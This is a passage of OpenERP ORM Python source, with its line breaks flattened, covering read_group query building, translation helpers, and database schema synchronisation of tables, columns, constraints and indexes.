self.pool.get('ir.translation').check_access_rights(cr, uid, 'read') if not fields: fields = self._columns.keys() + self._inherit_fields.keys() #FIXME: collect all calls to _get_source into one SQL call. for lang in langs: res[lang] = {'code': lang} for f in fields: if f in self._columns: res_trans = self.pool.get('ir.translation')._get_source(cr, uid, self._name+','+f, 'field', lang) if res_trans: res[lang][f] = res_trans else: res[lang][f] = self._columns[f].string for table in self._inherits: cols = intersect(self._inherit_fields.keys(), fields) res2 = self.pool.get(table).read_string(cr, uid, id, langs, cols, context) for lang in res2: if lang in res: res[lang]['code'] = lang for f in res2[lang]: res[lang][f] = res2[lang][f] return res def write_string(self, cr, uid, id, langs, vals, context=None): self.pool.get('ir.translation').check_access_rights(cr, uid, 'write') #FIXME: try to only call the translation in one SQL for lang in langs: for field in vals: if field in self._columns: src = self._columns[field].string self.pool.get('ir.translation')._set_ids(cr, uid, self._name+','+field, 'field', lang, [0], vals[field], src) for table in self._inherits: cols = intersect(self._inherit_fields.keys(), vals) if cols: self.pool.get(table).write_string(cr, uid, id, langs, vals, context) return True def _add_missing_default_values(self, cr, uid, values, context=None): missing_defaults = [] avoid_tables = [] # avoid overriding inherited values when parent is set for tables, parent_field in self._inherits.items(): if parent_field in values: avoid_tables.append(tables) for field in self._columns.keys(): if not field in values: missing_defaults.append(field) for field in self._inherit_fields.keys(): if (field not in values) and (self._inherit_fields[field][0] not in avoid_tables): missing_defaults.append(field) if len(missing_defaults): # override defaults with the provided values, never allow the other way around defaults = self.default_get(cr, uid, missing_defaults, context) for dv in defaults: if ((dv in self._columns and self._columns[dv]._type == 'many2many') \ or (dv in self._inherit_fields and self._inherit_fields[dv][2]._type == 'many2many')) \ and defaults[dv] and isinstance(defaults[dv][0], (int, long)): defaults[dv] = [(6, 0, defaults[dv])] if (dv in self._columns and self._columns[dv]._type == 'one2many' \ or (dv in self._inherit_fields and self._inherit_fields[dv][2]._type == 'one2many')) \ and isinstance(defaults[dv], (list, tuple)) and defaults[dv] and isinstance(defaults[dv][0], dict): defaults[dv] = [(0, 0, x) for x in defaults[dv]] defaults.update(values) values = defaults return values def clear_caches(self): """ Clear the caches This clears the caches associated to methods decorated with ``tools.ormcache`` or ``tools.ormcache_multi``. """ try: getattr(self, '_ormcache') self._ormcache = {} self.pool._any_cache_cleared = True except AttributeError: pass def _read_group_fill_results(self, cr, uid, domain, groupby, groupby_list, aggregated_fields, read_group_result, read_group_order=None, context=None): """Helper method for filling in empty groups for all possible values of the field being grouped by""" # self._group_by_full should map groupable fields to a method that returns # a list of all aggregated values that we want to display for this field, # in the form of a m2o-like pair (key,label). # This is useful to implement kanban views for instance, where all columns # should be displayed even if they don't contain any record. # Grab the list of all groups that should be displayed, including all present groups present_group_ids = [x[groupby][0] for x in read_group_result if x[groupby]] all_groups,folded = self._group_by_full[groupby](self, cr, uid, present_group_ids, domain, read_group_order=read_group_order, access_rights_uid=openerp.SUPERUSER_ID, context=context) result_template = dict.fromkeys(aggregated_fields, False) result_template[groupby + '_count'] = 0 if groupby_list and len(groupby_list) > 1: result_template['__context'] = {'group_by': groupby_list[1:]} # Merge the left_side (current results as dicts) with the right_side (all # possible values as m2o pairs). Both lists are supposed to be using the # same ordering, and can be merged in one pass. result = [] known_values = {} if len(groupby_list) < 2 and context.get('group_by_no_leaf'): count_attr = '_' else: count_attr = groupby count_attr += '_count' def append_left(left_side): grouped_value = left_side[groupby] and left_side[groupby][0] if not grouped_value in known_values: result.append(left_side) known_values[grouped_value] = left_side else: known_values[grouped_value].update({count_attr: left_side[count_attr]}) def append_right(right_side): grouped_value = right_side[0] if not grouped_value in known_values: line = dict(result_template) line[groupby] = right_side line['__domain'] = [(groupby,'=',grouped_value)] + domain result.append(line) known_values[grouped_value] = line while read_group_result or all_groups: left_side = read_group_result[0] if read_group_result else None right_side = all_groups[0] if all_groups else None assert left_side is None or left_side[groupby] is False \ or isinstance(left_side[groupby], (tuple,list)), \ 'M2O-like pair expected, got %r' % left_side[groupby] assert right_side is None or isinstance(right_side, (tuple,list)), \ 'M2O-like pair expected, got %r' % right_side if left_side is None: append_right(all_groups.pop(0)) elif right_side is None: append_left(read_group_result.pop(0)) elif left_side[groupby] == right_side: append_left(read_group_result.pop(0)) all_groups.pop(0) # discard right_side elif not left_side[groupby] or not left_side[groupby][0]: # left side == "Undefined" entry, not present on right_side append_left(read_group_result.pop(0)) else: append_right(all_groups.pop(0)) if folded: for r in result: r['__fold'] = folded.get(r[groupby] and r[groupby][0], False) return result def _read_group_prepare(self, orderby, aggregated_fields, groupby, qualified_groupby_field, query, groupby_type=None): """ Prepares the GROUP BY and ORDER BY terms for the read_group method. Adds the missing JOIN clause to the query if order should be computed against m2o field. :param orderby: the orderby definition in the form "%(field)s %(order)s" :param aggregated_fields: list of aggregated fields in the query :param groupby: the current groupby field name :param qualified_groupby_field: the fully qualified SQL name for the grouped field :param osv.Query query: the query under construction :param groupby_type: the type of the grouped field :return: (groupby_terms, orderby_terms) """ orderby_terms = [] groupby_terms = [qualified_groupby_field] if groupby else [] if not orderby: return groupby_terms, orderby_terms self._check_qorder(orderby) for order_part in orderby.split(','): order_split = order_part.split() order_field = order_split[0] if order_field == groupby: if groupby_type == 'many2one': order_clause = self._generate_order_by(order_part, query).replace('ORDER BY ', '') if order_clause: orderby_terms.append(order_clause) groupby_terms += [order_term.split()[0] for order_term in order_clause.split(',')] else: orderby_terms.append(order_part) elif order_field in aggregated_fields: orderby_terms.append(order_part) else: # Cannot order by a field that will not appear in the results (needs to be grouped or aggregated) _logger.warn('%s: read_group order by `%s` ignored, cannot sort on empty columns (not grouped/aggregated)', self._name, order_part) return groupby_terms, orderby_terms def read_group(self, cr, uid, domain, fields, groupby, offset=0, limit=None, context=None, orderby=False): """ Get the list of records in list view grouped by the given ``groupby`` fields :param cr: database cursor :param uid: current user id :param domain: list specifying search criteria [['field_name', 'operator', 'value'], ...] :param list fields: list of fields present in the list view specified on the object :param list groupby: fields by which the records will be grouped :param int offset: optional number of records to skip :param int limit: optional max number of records to return :param dict context: context arguments, like lang, time zone :param list orderby: optional ``order by`` specification, for overriding the natural sort ordering of the groups, see also :py:meth:`~osv.osv.osv.search` (supported only for many2one fields currently) :return: list of dictionaries(one dictionary for each record) containing: * the values of fields grouped by the fields in ``groupby`` argument * __domain: list of tuples specifying the search criteria * __context: dictionary with argument like ``groupby`` :rtype: [{'field_name_1': value, ...] :raise AccessError: * if user has no read rights on the requested object * if user tries to bypass access rules for read on the requested object """ context = context or {} self.check_access_rights(cr, uid, 'read') if not fields: fields = self._columns.keys() query = self._where_calc(cr, uid, domain, context=context) self._apply_ir_rules(cr, uid, query, 'read', context=context) # Take care of adding join(s) if groupby is an '_inherits'ed field groupby_list = groupby qualified_groupby_field = groupby if groupby: if isinstance(groupby, list): groupby = groupby[0] qualified_groupby_field = self._inherits_join_calc(groupby, query) if groupby: assert not groupby or groupby in fields, "Fields in 'groupby' must appear in the list of fields to read (perhaps it's missing in the list view?)" groupby_def = self._columns.get(groupby) or (self._inherit_fields.get(groupby) and self._inherit_fields.get(groupby)[2]) assert groupby_def and groupby_def._classic_write, "Fields in 'groupby' must be regular database-persisted fields (no function or related fields), or function fields with store=True" # TODO it seems fields_get can be replaced by _all_columns (no need for translation) fget = self.fields_get(cr, uid, fields) select_terms = [] groupby_type = None if groupby: if fget.get(groupby): groupby_type = fget[groupby]['type'] if groupby_type in ('date', 'datetime'): qualified_groupby_field = "to_char(%s,'yyyy-mm')" % qualified_groupby_field elif groupby_type == 'boolean': qualified_groupby_field = "coalesce(%s,false)" % qualified_groupby_field select_terms.append("%s as %s " % (qualified_groupby_field, groupby)) else: # Don't allow arbitrary values, as this would be a SQL injection vector! raise except_orm(_('Invalid group_by'), _('Invalid group_by specification: "%s".\nA group_by specification must be a list of valid fields.')%(groupby,)) aggregated_fields = [ f for f in fields if f not in ('id', 'sequence', groupby) if fget[f]['type'] in ('integer', 'float') if (f in self._all_columns and getattr(self._all_columns[f].column, '_classic_write'))] for f in aggregated_fields: group_operator = fget[f].get('group_operator', 'sum') qualified_field = self._inherits_join_calc(f, query) select_terms.append("%s(%s) AS %s" % (group_operator, qualified_field, f)) order = orderby or groupby or '' groupby_terms, orderby_terms = self._read_group_prepare(order, aggregated_fields, groupby, qualified_groupby_field, query, groupby_type) from_clause, where_clause, where_clause_params = query.get_sql() if len(groupby_list) < 2 and context.get('group_by_no_leaf'): count_field = '_' else: count_field = groupby prefix_terms = lambda prefix, terms: (prefix + " " + ",".join(terms)) if terms else '' prefix_term = lambda prefix, term: ('%s %s' % (prefix, term)) if term else '' query = """ SELECT min(%(table)s.id) AS id, count(%(table)s.id) AS %(count_field)s_count %(extra_fields)s FROM %(from)s %(where)s %(groupby)s %(orderby)s %(limit)s %(offset)s """ % { 'table': self._table, 'count_field': count_field, 'extra_fields': prefix_terms(',', select_terms), 'from': from_clause, 'where': prefix_term('WHERE', where_clause), 'groupby': prefix_terms('GROUP BY', groupby_terms), 'orderby': prefix_terms('ORDER BY', orderby_terms), 'limit': prefix_term('LIMIT', int(limit) if limit else None), 'offset': prefix_term('OFFSET', int(offset) if limit else None), } cr.execute(query, where_clause_params) alldata = {} fetched_data = cr.dictfetchall() data_ids = [] for r in fetched_data: for fld, val in r.items(): if val is None: r[fld] = False alldata[r['id']] = r data_ids.append(r['id']) del r['id'] if groupby: data = self.read(cr, uid, data_ids, [groupby], context=context) # restore order of the search as read() uses the default _order (this is only for groups, so the footprint of data should be small): data_dict = dict((d['id'], d[groupby] ) for d in data) result = [{'id': i, groupby: data_dict[i]} for i in data_ids] else: result = [{'id': i} for i in data_ids] for d in result: if groupby: d['__domain'] = [(groupby, '=', alldata[d['id']][groupby] or False)] + domain if not isinstance(groupby_list, (str, unicode)): if groupby or not context.get('group_by_no_leaf', False): d['__context'] = {'group_by': groupby_list[1:]} if groupby and groupby in fget: if d[groupby] and fget[groupby]['type'] in ('date', 'datetime'): dt = datetime.datetime.strptime(alldata[d['id']][groupby][:7], '%Y-%m') days = calendar.monthrange(dt.year, dt.month)[1] date_value = datetime.datetime.strptime(d[groupby][:10], '%Y-%m-%d') d[groupby] = babel.dates.format_date( date_value, format='MMMM yyyy', locale=context.get('lang', 'en_US')) d['__domain'] = [(groupby, '>=', alldata[d['id']][groupby] and datetime.datetime.strptime(alldata[d['id']][groupby][:7] + '-01', '%Y-%m-%d').strftime('%Y-%m-%d') or False),\ (groupby, '<=', alldata[d['id']][groupby] and datetime.datetime.strptime(alldata[d['id']][groupby][:7] + '-' + str(days), '%Y-%m-%d').strftime('%Y-%m-%d') or False)] + domain del alldata[d['id']][groupby] d.update(alldata[d['id']]) del d['id'] if groupby and groupby in self._group_by_full: result = self._read_group_fill_results(cr, uid, domain, groupby, groupby_list, aggregated_fields, result, read_group_order=order, context=context) return result def _inherits_join_add(self, current_model, parent_model_name, query): """ Add missing table SELECT and JOIN clause to ``query`` for reaching the parent table (no duplicates) :param current_model: current model object :param parent_model_name: name of the parent model for which the clauses should be added :param query: query object on which the JOIN should be added """ inherits_field = current_model._inherits[parent_model_name] parent_model = self.pool.get(parent_model_name) parent_alias, parent_alias_statement = query.add_join((current_model._table, parent_model._table, inherits_field, 'id', inherits_field), implicit=True) return parent_alias def _inherits_join_calc(self, field, query): """ Adds missing table select and join clause(s) to ``query`` for reaching the field coming from an '_inherits' parent table (no duplicates). :param field: name of inherited field to reach :param query: query object on which the JOIN should be added :return: qualified name of field, to be used in SELECT clause """ current_table = self parent_alias = '"%s"' % current_table._table while field in current_table._inherit_fields and not field in current_table._columns: parent_model_name = current_table._inherit_fields[field][0] parent_table = self.pool.get(parent_model_name) parent_alias = self._inherits_join_add(current_table, parent_model_name, query) current_table = parent_table return '%s."%s"' % (parent_alias, field) def _parent_store_compute(self, cr): if not self._parent_store: return _logger.info('Computing parent left and right for table %s...', self._table) def browse_rec(root, pos=0): # TODO: set order where = self._parent_name+'='+str(root) if not root: where = self._parent_name+' IS NULL' if self._parent_order: where += ' order by '+self._parent_order cr.execute('SELECT id FROM '+self._table+' WHERE '+where) pos2 = pos + 1 for id in cr.fetchall(): pos2 = browse_rec(id[0], pos2) cr.execute('update '+self._table+' set parent_left=%s, parent_right=%s where id=%s', (pos, pos2, root)) return pos2 + 1 query = 'SELECT id FROM '+self._table+' WHERE '+self._parent_name+' IS NULL' if self._parent_order: query += ' order by ' + self._parent_order pos = 0 cr.execute(query) for (root,) in cr.fetchall(): pos = browse_rec(root, pos) return True def _update_store(self, cr, f, k): _logger.info("storing computed values of fields.function '%s'", k) ss = self._columns[k]._symbol_set update_query = 'UPDATE "%s" SET "%s"=%s WHERE id=%%s' % (self._table, k, ss[0]) cr.execute('select id from '+self._table) ids_lst = map(lambda x: x[0], cr.fetchall()) while ids_lst: iids = ids_lst[:AUTOINIT_RECALCULATE_STORED_FIELDS] ids_lst = ids_lst[AUTOINIT_RECALCULATE_STORED_FIELDS:] res = f.get(cr, self, iids, k, SUPERUSER_ID, {}) for key, val in res.items(): if f._multi: val = val[k] # if val is a many2one, just write the ID if type(val) == tuple: val = val[0] if val is not False: cr.execute(update_query, (ss[1](val), key)) def _check_selection_field_value(self, cr, uid, field, value, context=None): """Raise except_orm if value is not among the valid values for the selection field""" if self._columns[field]._type == 'reference': val_model, val_id_str = value.split(',', 1) val_id = False try: val_id = long(val_id_str) except ValueError: pass if not val_id: raise except_orm(_('ValidateError'), _('Invalid value for reference field "%s.%s" (last part must be a non-zero integer): "%s"') % (self._table, field, value)) val = val_model else: val = value if isinstance(self._columns[field].selection, (tuple, list)): if val in dict(self._columns[field].selection): return elif val in dict(self._columns[field].selection(self, cr, uid, context=context)): return raise except_orm(_('ValidateError'), _('The value "%s" for the field "%s.%s" is not in the selection') % (value, self._table, field)) def _check_removed_columns(self, cr, log=False): # iterate on the database columns to drop the NOT NULL constraints # of fields which were required but have been removed (or will be added by another module) columns = [c for c in self._columns if not (isinstance(self._columns[c], fields.function) and not self._columns[c].store)] columns += MAGIC_COLUMNS cr.execute("SELECT a.attname, a.attnotnull" " FROM pg_class c, pg_attribute a" " WHERE c.relname=%s" " AND c.oid=a.attrelid" " AND a.attisdropped=%s" " AND pg_catalog.format_type(a.atttypid, a.atttypmod) NOT IN ('cid', 'tid', 'oid', 'xid')" " AND a.attname NOT IN %s", (self._table, False, tuple(columns))), for column in cr.dictfetchall(): if log: _logger.debug("column %s is in the table %s but not in the corresponding object %s", column['attname'], self._table, self._name) if column['attnotnull']: cr.execute('ALTER TABLE "%s" ALTER COLUMN "%s" DROP NOT NULL' % (self._table, column['attname'])) _schema.debug("Table '%s': column '%s': dropped NOT NULL constraint", self._table, column['attname']) def _save_constraint(self, cr, constraint_name, type): """ Record the creation of a constraint for this model, to make it possible to delete it later when the module is uninstalled. Type can be either 'f' or 'u' depending on the constraint being a foreign key or not. """ if not self._module: # no need to save constraints for custom models as they're not part # of any module return assert type in ('f', 'u') cr.execute(""" SELECT 1 FROM ir_model_constraint, ir_module_module WHERE ir_model_constraint.module=ir_module_module.id AND ir_model_constraint.name=%s AND ir_module_module.name=%s """, (constraint_name, self._module)) if not cr.rowcount: cr.execute(""" INSERT INTO ir_model_constraint (name, date_init, date_update, module, model, type) VALUES (%s, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC', (SELECT id FROM ir_module_module WHERE name=%s), (SELECT id FROM ir_model WHERE model=%s), %s)""", (constraint_name, self._module, self._name, type)) def _save_relation_table(self, cr, relation_table): """ Record the creation of a many2many for this model, to make it possible to delete it later when the module is uninstalled. """ cr.execute(""" SELECT 1 FROM ir_model_relation, ir_module_module WHERE ir_model_relation.module=ir_module_module.id AND ir_model_relation.name=%s AND ir_module_module.name=%s """, (relation_table, self._module)) if not cr.rowcount: cr.execute("""INSERT INTO ir_model_relation (name, date_init, date_update, module, model) VALUES (%s, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC', (SELECT id FROM ir_module_module WHERE name=%s), (SELECT id FROM ir_model WHERE model=%s))""", (relation_table, self._module, self._name)) # checked version: for direct m2o starting from `self` def _m2o_add_foreign_key_checked(self, source_field, dest_model, ondelete): assert self.is_transient() or not dest_model.is_transient(), \ 'Many2One relationships from non-transient Model to TransientModel are forbidden' if self.is_transient() and not dest_model.is_transient(): # TransientModel relationships to regular Models are annoying # usually because they could block deletion due to the FKs. # So unless stated otherwise we default them to ondelete=cascade. ondelete = ondelete or 'cascade' fk_def = (self._table, source_field, dest_model._table, ondelete or 'set null') self._foreign_keys.add(fk_def) _schema.debug("Table '%s': added foreign key '%s' with definition=REFERENCES \"%s\" ON DELETE %s", *fk_def) # unchecked version: for custom cases, such as m2m relationships def _m2o_add_foreign_key_unchecked(self, source_table, source_field, dest_model, ondelete): fk_def = (source_table, source_field, dest_model._table, ondelete or 'set null') self._foreign_keys.add(fk_def) _schema.debug("Table '%s': added foreign key '%s' with definition=REFERENCES \"%s\" ON DELETE %s", *fk_def) def _drop_constraint(self, cr, source_table, constraint_name): cr.execute("ALTER TABLE %s DROP CONSTRAINT %s" % (source_table,constraint_name)) def _m2o_fix_foreign_key(self, cr, source_table, source_field, dest_model, ondelete): # Find FK constraint(s) currently established for the m2o field, # and see whether they are stale or not cr.execute("""SELECT confdeltype as ondelete_rule, conname as constraint_name, cl2.relname as foreign_table FROM pg_constraint as con, pg_class as cl1, pg_class as cl2, pg_attribute as att1, pg_attribute as att2 WHERE con.conrelid = cl1.oid AND cl1.relname = %s AND con.confrelid = cl2.oid AND array_lower(con.conkey, 1) = 1 AND con.conkey[1] = att1.attnum AND att1.attrelid = cl1.oid AND att1.attname = %s AND array_lower(con.confkey, 1) = 1 AND con.confkey[1] = att2.attnum AND att2.attrelid = cl2.oid AND att2.attname = %s AND con.contype = 'f'""", (source_table, source_field, 'id')) constraints = cr.dictfetchall() if constraints: if len(constraints) == 1: # Is it the right constraint? cons, = constraints if self.is_transient() and not dest_model.is_transient(): # transient foreign keys are added as cascade by default ondelete = ondelete or 'cascade' if cons['ondelete_rule'] != POSTGRES_CONFDELTYPES.get((ondelete or 'set null').upper(), 'a')\ or cons['foreign_table'] != dest_model._table: # Wrong FK: drop it and recreate _schema.debug("Table '%s': dropping obsolete FK constraint: '%s'", source_table, cons['constraint_name']) self._drop_constraint(cr, source_table, cons['constraint_name']) else: # it's all good, nothing to do! return else: # Multiple FKs found for the same field, drop them all, and re-create for cons in constraints: _schema.debug("Table '%s': dropping duplicate FK constraints: '%s'", source_table, cons['constraint_name']) self._drop_constraint(cr, source_table, cons['constraint_name']) # (re-)create the FK self._m2o_add_foreign_key_checked(source_field, dest_model, ondelete) def _auto_init(self, cr, context=None): """ Call _field_create and, unless _auto is False: - create the corresponding table in database for the model, - possibly add the parent columns in database, - possibly add the columns 'create_uid', 'create_date', 'write_uid', 'write_date' in database if _log_access is True (the default), - report on database columns no more existing in _columns, - remove no more existing not null constraints, - alter existing database columns to match _columns, - create database tables to match _columns, - add database indices to match _columns, - save in self._foreign_keys a list a foreign keys to create (see _auto_end). """ self._foreign_keys = set() raise_on_invalid_object_name(self._name) if context is None: context = {} store_compute = False todo_end = [] update_custom_fields = context.get('update_custom_fields', False) self._field_create(cr, context=context) create = not self._table_exist(cr) if getattr(self, '_auto', True): if create: self._create_table(cr) cr.commit() if self._parent_store: if not self._parent_columns_exist(cr): self._create_parent_columns(cr) store_compute = True # Create the create_uid, create_date, write_uid, write_date, columns if desired. if self._log_access: self._add_log_columns(cr) self._check_removed_columns(cr, log=False) # iterate on the "object columns" column_data = self._select_column_data(cr) for k, f in self._columns.iteritems(): if k in MAGIC_COLUMNS: continue # Don't update custom (also called manual) fields if f.manual and not update_custom_fields: continue if isinstance(f, fields.one2many): self._o2m_raise_on_missing_reference(cr, f) elif isinstance(f, fields.many2many): self._m2m_raise_or_create_relation(cr, f) else: res = column_data.get(k) # The field is not found as-is in database, try if it # exists with an old name. if not res and hasattr(f, 'oldname'): res = column_data.get(f.oldname) if res: cr.execute('ALTER TABLE "%s" RENAME "%s" TO "%s"' % (self._table, f.oldname, k)) res['attname'] = k column_data[k] = res _schema.debug("Table '%s': renamed column '%s' to '%s'", self._table, f.oldname, k) # The field already exists in database. Possibly # change its type, rename it, drop it or change its # constraints. if res: f_pg_type = res['typname'] f_pg_size = res['size'] f_pg_notnull = res['attnotnull'] if isinstance(f, fields.function) and not f.store and\ not getattr(f, 'nodrop', False): _logger.info('column %s (%s) in table %s removed: converted to a function !\n', k, f.string, self._table) cr.execute('ALTER TABLE "%s" DROP COLUMN "%s" CASCADE' % (self._table, k)) cr.commit() _schema.debug("Table '%s': dropped column '%s' with cascade", self._table, k) f_obj_type = None else: f_obj_type = get_pg_type(f) and get_pg_type(f)[0] if f_obj_type: ok = False casts = [ ('text', 'char', pg_varchar(f.size), '::%s' % pg_varchar(f.size)), ('varchar', 'text', 'TEXT', ''), ('int4', 'float', get_pg_type(f)[1], '::'+get_pg_type(f)[1]), ('date', 'datetime', 'TIMESTAMP', '::TIMESTAMP'), ('timestamp', 'date', 'date', '::date'), ('numeric', 'float', get_pg_type(f)[1], '::'+get_pg_type(f)[1]), ('float8', 'float', get_pg_type(f)[1], '::'+get_pg_type(f)[1]), ] if f_pg_type == 'varchar' and f._type == 'char' and f_pg_size and (f.size is None or f_pg_size < f.size): cr.execute('ALTER TABLE "%s" RENAME COLUMN "%s" TO temp_change_size' % (self._table, k)) cr.execute('ALTER TABLE "%s" ADD COLUMN "%s" %s' % (self._table, k, pg_varchar(f.size))) cr.execute('UPDATE "%s" SET "%s"=temp_change_size::%s' % (self._table, k, pg_varchar(f.size))) cr.execute('ALTER TABLE "%s" DROP COLUMN temp_change_size CASCADE' % (self._table,)) cr.commit() _schema.debug("Table '%s': column '%s' (type varchar) changed size from %s to %s", self._table, k, f_pg_size or 'unlimited', f.size or 'unlimited') for c in casts: if (f_pg_type==c[0]) and (f._type==c[1]): if f_pg_type != f_obj_type: ok = True cr.execute('ALTER TABLE "%s" RENAME COLUMN "%s" TO temp_change_size' % (self._table, k)) cr.execute('ALTER TABLE "%s" ADD COLUMN "%s" %s' % (self._table, k, c[2])) cr.execute(('UPDATE "%s" SET "%s"=temp_change_size'+c[3]) % (self._table, k)) cr.execute('ALTER TABLE "%s" DROP COLUMN temp_change_size CASCADE' % (self._table,)) cr.commit() _schema.debug("Table '%s': column '%s' changed type from %s to %s", self._table, k, c[0], c[1]) break if f_pg_type != f_obj_type: if not ok: i = 0 while True: newname = k + '_moved' + str(i) cr.execute("SELECT count(1) FROM pg_class c,pg_attribute a " \ "WHERE c.relname=%s " \ "AND a.attname=%s " \ "AND c.oid=a.attrelid ", (self._table, newname)) if not cr.fetchone()[0]: break i += 1 if f_pg_notnull: cr.execute('ALTER TABLE "%s" ALTER COLUMN "%s" DROP NOT NULL' % (self._table, k)) cr.execute('ALTER TABLE "%s" RENAME COLUMN "%s" TO "%s"' % (self._table, k, newname)) cr.execute('ALTER TABLE "%s" ADD COLUMN "%s" %s' % (self._table, k, get_pg_type(f)[1])) cr.execute("COMMENT ON COLUMN %s.\"%s\" IS %%s" % (self._table, k), (f.string,)) _schema.debug("Table '%s': column '%s' has changed type (DB=%s, def=%s), data moved to column %s !", self._table, k, f_pg_type, f._type, newname) # if the field is required and hasn't got a NOT NULL constraint if f.required and f_pg_notnull == 0: # set the field to the default value if any if k in self._defaults: if callable(self._defaults[k]): default = self._defaults[k](self, cr, SUPERUSER_ID, context) else: default = self._defaults[k] if default is not None: ss = self._columns[k]._symbol_set query = 'UPDATE "%s" SET "%s"=%s WHERE "%s" is NULL' % (self._table, k, ss[0], k) cr.execute(query, (ss[1](default),)) # add the NOT NULL constraint cr.commit() try: cr.execute('ALTER TABLE "%s" ALTER COLUMN "%s" SET NOT NULL' % (self._table, k), log_exceptions=False) cr.commit() _schema.debug("Table '%s': column '%s': added NOT NULL constraint", self._table, k) except Exception: msg = "Table '%s': unable to set a NOT NULL constraint on column '%s' !\n"\ "If you want to have it, you should update the records and execute manually:\n"\ "ALTER TABLE %s ALTER COLUMN %s SET NOT NULL" _schema.warning(msg, self._table, k, self._table, k) cr.commit() elif not f.required and f_pg_notnull == 1: cr.execute('ALTER TABLE "%s" ALTER COLUMN "%s" DROP NOT NULL' % (self._table, k)) cr.commit() _schema.debug("Table '%s': column '%s': dropped NOT NULL constraint", self._table, k) # Verify index indexname = '%s_%s_index' % (self._table, k) cr.execute("SELECT indexname FROM pg_indexes WHERE indexname = %s and tablename = %s", (indexname, self._table)) res2 = cr.dictfetchall() if not res2 and f.select: cr.execute('CREATE INDEX "%s_%s_index" ON "%s" ("%s")' % (self._table, k, self._table, k)) cr.commit() if f._type == 'text': # FIXME: for fields.text columns we should try creating GIN indexes instead (seems most suitable for an ERP context) msg = "Table '%s': Adding (b-tree) index for %s column '%s'."\ "This is probably useless (does not work for fulltext search) and prevents INSERTs of long texts"\ " because there is a length limit for indexable btree values!\n"\ "Use a search view instead if you simply want to make the field searchable." _schema.warning(msg, self._table, f._type, k) if res2 and not f.select: cr.execute('DROP INDEX "%s_%s_index"' % (self._table, k)) cr.commit() msg = "Table '%s': dropping index for column '%s' of type '%s' as it is not required anymore" _schema.debug(msg, self._table, k, f._type) if isinstance(f, fields.many2one) or (isinstance(f, fields.function) and f._type == 'many2one' and f.store): dest_model = self.pool.get(f._obj) if dest_model._table != 'ir_actions': self._m2o_fix_foreign_key(cr, self._table, k, dest_model, f.ondelete) # The field doesn't exist in database. Create it if necessary. else: if not isinstance(f, fields.function) or f.store: # add the missing field cr.execute('ALTER TABLE "%s" ADD COLUMN "%s" %s' % (self._table, k, get_pg_type(f)[1])) cr.execute("COMMENT ON COLUMN %s.\"%s\" IS %%s" % (self._table, k), (f.string,)) _schema.debug("Table '%s': added column '%s' with definition=%s", self._table, k, get_pg_type(f)[1]) # initialize it if not create and k in self._defaults: if callable(self._defaults[k]): default = self._defaults[k](self, cr, SUPERUSER_ID, context) else: default = self._defaults[k] ss = self._columns[k]._symbol_set query = 'UPDATE "%s" SET "%s"=%s' % (self._table, k, ss[0]) cr.execute(query, (ss[1](default),)) cr.commit() _logger.debug("Table '%s': setting default value of new column %s", self._table, k) # remember the functions to call for the stored fields if isinstance(f, fields.function): order = 10 if f.store is not True: # i.e. if f.store is a dict order = f.store[f.store.keys()[0]][2] todo_end.append((order, self._update_store, (f, k))) # and add constraints if needed if isinstance(f, fields.many2one) or (isinstance(f, fields.function) and f._type == 'many2one' and f.store): if not self.pool.get(f._obj): raise except_orm('Programming Error', 'There is no reference available for %s' % (f._obj,)) dest_model = self.pool.get(f._obj) ref = dest_model._table # ir_actions is inherited so foreign key doesn't work on it if ref != 'ir_actions': self._m2o_add_foreign_key_checked(k, dest_model, f.ondelete) if f.select: cr.execute('CREATE INDEX "%s_%s_index" ON "%s" ("%s")' % (self._table, k, self._table, k)) if f.required: try: cr.commit() cr.execute('ALTER TABLE "%s" ALTER COLUMN "%s" SET NOT NULL' % (self._table, k), log_exceptions=False) _schema.debug("Table '%s': column '%s': added a NOT NULL constraint", self._table, k) except Exception: msg = "WARNING: unable to set column %s of table %s not null !\n"\ "Try to re-run: openerp-server --update=module\n"\ "If it doesn't work, update records and execute manually:\n"\ "ALTER TABLE %s ALTER COLUMN %s SET NOT NULL" _logger.warning(msg, k, self._table, self._table, k) cr.commit() else: cr.execute("SELECT relname FROM pg_class WHERE relkind IN ('r','v') AND relname=%s", (self._table,)) create = not bool(cr.fetchone()) cr.commit() # start a new transaction self._add_sql_constraints(cr) if create: self._execute_sql(cr) if store_compute: self._parent_store_compute(cr) cr.commit() return todo_end def _auto_end(self, cr, context=None): """ Create the foreign keys recorded by _auto_init. """ for t, k, r, d in self._foreign_keys: cr.execute('ALTER TABLE "%s" ADD FOREIGN KEY ("%s") REFERENCES "%s" ON DELETE %s' % (t, k, r, d)) self._save_constraint(cr, "%s_%s_fkey" % (t, k), 'f') cr.commit() del self._foreign_keys def _table_exist(self, cr): cr.execute("SELECT relname FROM pg_class WHERE relkind IN ('r','v') AND relname=%s", (self._table,)) return cr.rowcount def _create_table(self, cr): cr.execute('CREATE TABLE "%s" (id SERIAL NOT NULL, PRIMARY KEY(id))' % (self._table,)) cr.execute(("COMMENT ON TABLE \"%s\" IS %%s" % self._table), (self._description,)) _schema.debug("Table '%s': created", self._table) def _parent_columns_exist(self, cr): cr.execute("""SELECT c.relname FROM pg_class c, pg_attribute a WHERE c.relname=%s AND a.attname=%s AND c.oid=a.attrelid """, (self._table, 'parent_left')) return cr.rowcount def _create_parent_columns(self, cr): cr.execute('ALTER TABLE "%s" ADD COLUMN "parent_left" INTEGER' % (self._table,)) cr.execute('ALTER TABLE "%s" ADD COLUMN "parent_right" INTEGER' % (self._table,)) if 'parent_left' not in self._columns: _logger.error('create a column parent_left on object %s: fields.integer(\'Left Parent\', select=1)', self._table) _schema.debug("Table '%s': added column '%s' with definition=%s", self._table, 'parent_left', 'INTEGER') elif not self._columns['parent_left'].select: _logger.error('parent_left column on object %s must be indexed! Add select=1 to the field definition)', self._table) if 'parent_right' not in self._columns: _logger.error('create a column parent_right on object %s: fields.integer(\'Right Parent\', select=1)', self._table) _schema.debug("Table '%s': added column '%s' with definition=%s", self._table, 'parent_right', 'INTEGER') elif not self._columns['parent_right'].select: _logger.error('parent_right column on object %s must be indexed! Add select=1 to the field definition)', self._table) if self._columns[self._parent_name].ondelete not in ('cascade', 'restrict'): _logger.error("The column %s on object %s must be set as ondelete='cascade' or 'restrict'", self._parent_name, self._name) cr.commit() def _add_log_columns(self, cr): for field, field_def in LOG_ACCESS_COLUMNS.iteritems(): cr.execute(""" SELECT c.relname FROM pg_class c, pg_attribute a WHERE c.relname=%s AND a.attname=%s AND c.oid=a.attrelid """, (self._table, 